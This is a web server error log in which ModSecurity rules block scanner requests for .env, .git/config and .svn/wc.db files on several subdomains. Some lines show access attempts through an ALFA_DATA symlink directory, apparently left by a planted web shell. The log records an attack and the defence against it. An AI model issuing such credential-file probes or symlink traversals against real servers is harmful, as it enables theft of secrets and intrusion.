[Mon Oct 26 22:24:50.530260 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2wAAAAg"]
[Mon Oct 26 22:24:50.530523 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auALckr8KB7FmjwQ4kVz2wAAAAg"]
[Mon Oct 26 22:24:50.642767 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3AAAAAg"]
[Mon Oct 26 22:24:50.643025 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3AAAAAg"]
[Mon Oct 26 22:24:50.643325 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3AAAAAg"]
[Mon Oct 26 22:24:50.751204 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3QAAAAg"]
[Mon Oct 26 22:24:50.751471 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3QAAAAg"]
[Mon Oct 26 22:24:50.751804 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3QAAAAg"]
[Mon Oct 26 22:24:50.880544 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3gAAAAg"]
[Mon Oct 26 22:24:50.880758 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3gAAAAg"]
[Mon Oct 26 22:24:50.881101 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3gAAAAg"]
[Mon Oct 26 22:24:50.985175 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3wAAAAg"]
[Mon Oct 26 22:24:50.985436 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3wAAAAg"]
[Mon Oct 26 22:24:50.985750 2026] [security2:error] [pid 3143282:tid 3143282] [client 34.17.60.250:38052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "auALckr8KB7FmjwQ4kVz3wAAAAg"]
[Mon Oct 26 22:25:14.269543 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.45.77.169:54165] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:25:23.301306 2026] [ssl:error] [pid 3143276:tid 3143276] (70014)End of file found: [client 3.215.59.93:54431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:25:30.303987 2026] [ssl:error] [pid 3143297:tid 3143297] (70014)End of file found: [client 52.71.46.142:36253] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:25:38.180119 2026] [core:error] [pid 3142605:tid 3142605] (13)Permission denied: [client 44.206.65.8:21011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input4/device/driver/serio1/driver/unbind
[Mon Oct 26 22:26:02.395782 2026] [ssl:error] [pid 3143304:tid 3143304] (70014)End of file found: [client 54.204.62.163:47919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:26:10.245352 2026] [ssl:error] [pid 3143281:tid 3143281] (70014)End of file found: [client 44.223.232.55:53339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:26:22.193030 2026] [ssl:error] [pid 3122519:tid 3122519] (5)Input/output error: [client 34.199.252.22:58109] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:26:26.249898 2026] [ssl:error] [pid 3142580:tid 3142580] (70014)End of file found: [client 50.19.79.213:59304] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:26:34.192365 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 100.28.57.133:8732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:26:34.575604 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 185.191.171.16:52894] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:26:35.775689 2026] [core:error] [pid 3143297:tid 3143297] (13)Permission denied: [client 85.208.96.194:14832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-256/shrink
[Mon Oct 26 22:26:46.307764 2026] [ssl:error] [pid 3143282:tid 3143282] (70014)End of file found: [client 34.225.243.131:42431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:26:54.180704 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.0.63.151:35294] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:26:58.315664 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 52.203.65.83:48889] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/uhci_hcd/0000:00:01.2/rescan
[Mon Oct 26 22:27:10.431146 2026] [proxy_fcgi:error] [pid 3143297:tid 3143297] [client 54.87.95.7:4315] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:27:26.231883 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.164.106.236:38825] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:27:30.182693 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 18.204.89.56:56795] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:27:34.178620 2026] [core:error] [pid 3143282:tid 3143282] (13)Permission denied: [client 52.6.232.201:54607] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory12/node0/memory20/subsystem/uevent
[Mon Oct 26 22:27:36.378644 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 185.191.171.3:40126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/aliases
[Mon Oct 26 22:27:58.199764 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 184.73.239.35:3621] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:28:10.185727 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.88.84.219:18579] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:28:18.174793 2026] [ssl:error] [pid 3142580:tid 3142580] (70014)End of file found: [client 52.5.242.243:56222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:28:30.240339 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.3.104.214:29635] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:28:32.504416 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 85.208.96.199:30814] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:28:35.770608 2026] [core:error] [pid 3142580:tid 3142580] (13)Permission denied: [client 85.208.96.202:32262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/free_calls
[Mon Oct 26 22:28:42.266007 2026] [ssl:error] [pid 3143297:tid 3143297] (70014)End of file found: [client 52.21.62.139:9511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:28:46.366331 2026] [ssl:error] [pid 3143276:tid 3143276] (70014)End of file found: [client 44.210.213.220:50781] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:28:50.677515 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 85.208.96.194:57592] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:29:02.383375 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.225.181.161:11366] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:29:06.260060 2026] [ssl:error] [pid 3143297:tid 3143297] (70014)End of file found: [client 54.90.244.132:47471] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:29:09.301107 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAMdeFUQe6HxVFzxpdu1wAAAAA"]
[Mon Oct 26 22:29:09.301334 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAMdeFUQe6HxVFzxpdu1wAAAAA"]
[Mon Oct 26 22:29:09.301625 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAMdeFUQe6HxVFzxpdu1wAAAAA"]
[Mon Oct 26 22:29:09.390422 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auAMdeFUQe6HxVFzxpdu2AAAAAA"]
[Mon Oct 26 22:29:09.390600 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auAMdeFUQe6HxVFzxpdu2AAAAAA"]
[Mon Oct 26 22:29:09.390847 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auAMdeFUQe6HxVFzxpdu2AAAAAA"]
[Mon Oct 26 22:29:09.391183 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auAMdeFUQe6HxVFzxpdu2AAAAAA"]
[Mon Oct 26 22:29:09.533501 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAMdeFUQe6HxVFzxpdu2QAAAAA"]
[Mon Oct 26 22:29:09.534023 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAMdeFUQe6HxVFzxpdu2QAAAAA"]
[Mon Oct 26 22:29:09.534280 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAMdeFUQe6HxVFzxpdu2QAAAAA"]
[Mon Oct 26 22:29:09.857389 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAMdeFUQe6HxVFzxpdu3AAAAAA"]
[Mon Oct 26 22:29:09.857678 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAMdeFUQe6HxVFzxpdu3AAAAAA"]
[Mon Oct 26 22:29:09.857990 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAMdeFUQe6HxVFzxpdu3AAAAAA"]
[Mon Oct 26 22:29:10.282077 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAMduFUQe6HxVFzxpdu3QAAAAA"]
[Mon Oct 26 22:29:10.282335 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAMduFUQe6HxVFzxpdu3QAAAAA"]
[Mon Oct 26 22:29:10.282687 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAMduFUQe6HxVFzxpdu3QAAAAA"]
